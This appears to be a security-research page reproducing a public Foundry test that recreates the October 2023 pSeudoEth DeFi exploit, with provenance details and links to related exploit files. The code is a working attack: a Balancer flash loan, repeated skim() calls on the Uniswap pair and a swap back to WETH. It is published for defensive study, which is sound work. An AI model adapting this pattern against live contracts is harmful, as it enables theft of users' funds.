Public reproduction file
src/test/2023-10/pSeudoEth_exp.sol
Public reproduction file for dataset entry pSeudoEth.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~1.4 ETH8// Attacker : https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba9// Attack Contract : https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f810// Vulnerable Contract : https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f116111// Attack Tx : https://etherscan.io/tx/0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b393013// @Analysis14// Twitter Guy : https://twitter.com/CertiKAlert/status/171097961516494472916contract ContractTest is Test {17 IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));18 IERC20 pEth = IERC20(0x62aBdd605E710Cc80a52062a8cC7c5d659dDDbE7);19 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);20 IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));21 IUniswapV2Pair UNIPair = IUniswapV2Pair(0x2033B54B6789a963A02BfCbd40A46816770f1161);22 uint256 amount = 51_970_861_731_879_316_502_999;24 function setUp() public {25 vm.createSelectFork("mainnet", 18_305_132 - 1);26 vm.label(address(WETH), "WETH");27 vm.label(address(Balancer), "Balancer");28 vm.label(address(UniRouter), "Uniswap V2: Router");29 vm.label(address(UNIPair), "Uniswap V2: pEth");30 approveAll();31 }33 function testExploit() external {34 uint256 startWETH = WETH.balanceOf(address(this));35 console.log("Before Start: %d WETH", startWETH);36 address[] memory tokens = new address[](1);37 tokens[0] = address(WETH);38 uint256[] memory amounts = new uint256[](1);39 amounts[0] = amount;40 Balancer.flashLoan(address(this), tokens, amounts, "");42 uint256 intRes = WETH.balanceOf(address(this)) / 1 ether;43 uint256 decRes = WETH.balanceOf(address(this)) - intRes * 1e18;44 console.log("Attack Exploit: %s.%s WETH", intRes, decRes);45 }47 function receiveFlashLoan(48 address[] memory tokens,49 uint256[] memory amounts,50 uint256[] memory feeAmounts,51 bytes memory userData52 ) external {53 address[] memory path = new address[](2);54 (path[0], path[1]) = (address(WETH), address(pEth));55 UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(56 amounts[0], 0, path, address(this), type(uint256).max57 );58 uint256 pEth_amount = pEth.balanceOf(address(this));59 pEth.transfer(address(UNIPair), pEth_amount);61 for (uint256 i = 0; i < 10; i++) {62 UNIPair.skim(address(UNIPair));63 }65 (path[0], path[1]) = (address(pEth), address(WETH));66 pEth_amount = pEth.balanceOf(address(this));67 UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(68 pEth_amount, 0, path, address(this), type(uint256).max69 );71 WETH.transfer(address(Balancer), amount);72 }74 function approveAll() internal {75 WETH.approve(address(UniRouter), type(uint256).max);76 pEth.approve(address(UniRouter), type(uint256).max);77 }78}Analysis
Dataset entry
Public Foundry test for “pSeudoEth” (2023-10-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
- src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
- src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
- src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
- src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
- src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
- src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
- src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
- src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
- src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
- src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
- src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
- src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
- src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xea75aec151f968b8de3789ca201a2a3a7faeefba
- Attack Contract
0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8
- Vulnerable Contract
0x2033b54b6789a963a02bfcbd40a46816770f1161
- Attack Tx
0x4ab68b21799828a57ea99c1288036889b39bf85785240576e697ebff524b3930
- Twitter: https://twitter.com/CertiKAlert/status/1710979615164944729
- Explorer: https://etherscan.io/address/0xea75aec151f968b8de3789ca201a2a3a7faeefba
- Explorer: https://etherscan.io/address/0xf88d1d6d9db9a39dbbfc4b101cecc495bb0636f8
- Explorer: https://etherscan.io/address/0x2033b54b6789a963a02bfcbd40a46816770f1161
File record
- Name
- pSeudoEth
- Path
- src/test/2023-10/pSeudoEth_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a509e07b74428e09f95a756d2468febe0bad4773
- Language
- Solidity
- Size
- 79 lines
- Date
- 2023-10-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-10/pSeudoEth_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a509e07b74428e09f95a756d2468febe0bad4773, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.